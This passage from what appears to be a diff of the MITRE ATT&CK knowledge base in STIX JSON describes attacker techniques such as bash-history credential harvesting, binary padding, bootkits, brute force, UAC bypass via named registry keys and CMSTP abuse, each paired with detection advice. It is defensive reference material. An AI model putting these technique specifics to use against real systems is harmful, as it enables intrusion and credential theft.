"https://www.secureworks.com/blog/malware-lingers-with-bits" + }, + { + "source_name": "Mondok Windows PiggyBack BITS May 2007", + "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/" + }, + { + "source_name": "Symantec BITS May 2007", + "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.", + "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update" + }, + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + }, + { + "source_name": "Microsoft Issues with BITS July 2011", + "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018.", + "url": "https://technet.microsoft.com/library/dd939934.aspx" + } + ], + "x_mitre_defense_bypassed": [ + "Firewall", + "Host forensic analysis" + ] + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Bash History", + "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", + "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1139", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1139" + }, + { + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.", + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + } + ], + "modified": "2019-07-16T19:54:57.273Z" + }, + { + "x_mitre_data_sources": [ + "Binary file metadata", + "File monitoring", + "Malware reverse engineering" + ], + "name": "Binary Padding", + "description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n", + "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "modified": "2019-05-30T21:09:26.228Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Martin Jirkal, ESET" + ], + "created": "2017-05-31T21:30:22.096Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1009", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1009" + }, + { + "source_name": "capec", + "external_id": "CAPEC-572", + "url": "https://capec.mitre.org/data/definitions/572.html" + }, + { + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "source_name": "ESET OceanLotus", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.", + "source_name": "Securelist Malware Tricks April 2017", + "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/" + }, + { + "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.", + "source_name": "VirusTotal FAQ", + "url": "https://www.virustotal.com/en/faq/ " + } + ], + "x_mitre_defense_bypassed": [ + "Signature-based detection", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "MBR", + "VBR" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Bootkit", + "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", + "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:54.661Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1067", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1067" + }, + { + "source_name": "MTrends 2016", + "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf" + }, + { + "source_name": "Lau 2011", + "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.", + "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion" + } + ], + "modified": "2019-07-16T20:04:41.756Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Browser Bookmark Discovery", + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", + "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Mike Kemmerer" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "external_references": [ + { + "external_id": "T1217", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1217" + } + ], + "modified": "2018-10-31T13:45:13.024Z" + }, + { + "x_mitre_data_sources": [ + "Network protocol analysis", + "Packet capture", + "System calls", + "Process use of network", + "Process monitoring", + "Browser extensions" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Browser Extensions", + "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).", + "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Justin Warner, ICEBRG" + ], + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1176", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1176" + }, + { + "source_name": "Wikipedia Browser Extension", + "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.", + "url": "https://en.wikipedia.org/wiki/Browser_extension" + }, + { + "source_name": "Chrome Extensions Definition", + "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.", + "url": "https://developer.chrome.com/extensions" + }, + { + "source_name": "Malicious Chrome Extension Numbers", + "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.", + "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf" + }, + { + "source_name": "Chrome Extension Crypto Miner", + "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.", + "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/" + }, + { + "source_name": "ICEBRG Chrome Extensions", + "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", + "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + }, + { + "source_name": "Banker Google Chrome Extension Steals Creds", + "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.", + "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/" + }, + { + "source_name": "Catch All Chrome Extension", + "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.", + "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)" + }, + { + "source_name": "Stantinko Botnet", + "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.", + "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/" + }, + { + "source_name": "Chrome Extension C2 Malware", + "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.", + "url": "https://kjaer.io/extension-malware/" + } + ], + "modified": "2019-07-16T20:22:19.705Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Office 365 account logs", + "Authentication logs" + ], + "name": "Brute Force", + "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\n[Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365", + "Azure AD", + "SaaS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "type": "attack-pattern", + "x_mitre_detection": "It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. \n\nMonitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nFor password spraying consider the following(Citation: Trimarc Detecting Password Spraying):\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "John Strand", + "Ed Williams, Trustwave, SpiderLabs" + ], + "created": "2017-05-31T21:31:22.767Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1110", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1110" + }, + { + "source_name": "capec", + "external_id": "CAPEC-49", + "url": "https://capec.mitre.org/data/definitions/49.html" + }, + { + "source_name": "Wikipedia Password cracking", + "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.", + "url": "https://en.wikipedia.org/wiki/Password_cracking" + }, + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + }, + { + "source_name": "BlackHillsInfosec Password Spraying", + "description": "Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017.", + "url": "http://www.blackhillsinfosec.com/?p=4645" + }, + { + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "source_name": "US-CERT TA18-068A 2018", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A" + }, + { + "description": "Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.", + "source_name": "Trimarc Detecting Password Spraying", + "url": "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing" + } + ], + "modified": "2019-10-09T20:58:13.919Z" + }, + { + "x_mitre_data_sources": [ + "System calls", + "Process monitoring", + "Authentication logs", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Bypass User Account Control", + "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", + "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "modified": "2019-07-16T20:28:55.134Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Stefan Kanthak", + "Casey Smith" + ], + "created": "2017-05-31T21:31:07.462Z", + "x_mitre_effective_permissions": [ + "Administrator" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "external_references": [ + { + "external_id": "T1088", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1088" + }, + { + "source_name": "TechNet How UAC Works", + "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works" + }, + { + "source_name": "TechNet Inside UAC", + "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.", + "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx" + }, + { + "source_name": "MSDN COM Elevation", + "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx" + }, + { + "source_name": "Davidson Windows", + "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.", + "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" + }, + { + "source_name": "Github UACMe", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "url": "https://github.com/hfiref0x/UACME" + }, + { + "source_name": "enigma0x3 Fileless UAC Bypass", + "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.", + "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/" + }, + { + "source_name": "Fortinet Fareit", + "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", + "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware" + }, + { + "source_name": "SANS UAC Bypass", + "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.", + "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass" + }, + { + "source_name": "enigma0x3 sdclt app paths", + "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/" + }, + { + "source_name": "enigma0x3 sdclt bypass", + "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/" + } + ], + "x_mitre_defense_bypassed": [ + "Windows User Account Control" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Process use of network", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "CMSTP", + "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", + "x_mitre_remote_support": false, + "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", + "modified": "2019-06-13T18:55:24.133Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "Nik Seetharaman, Palantir" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1191", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1191" + }, + { + "source_name": "Microsoft Connection Manager Oct 2009", + "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)" + }, + { + "source_name": "Twitter CMSTP Usage Jan 2018", + "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.", + "url": "https://twitter.com/ItsReallyNick/status/958789644165894146" + }, + { + "source_name": "MSitPros CMSTP Aug 2017", + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", + "url": "https://msitpros.com/?p=3960" + }, + { + "source_name": "Twitter CMSTP Jan 2018", + "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.", + "url": "https://twitter.com/NickTyrer/status/958450014111633408" + }, + { + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" + }, + { + "source_name": "Endurant CMSTP July 2018", + "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.", + "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Change Default File Association", + "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. 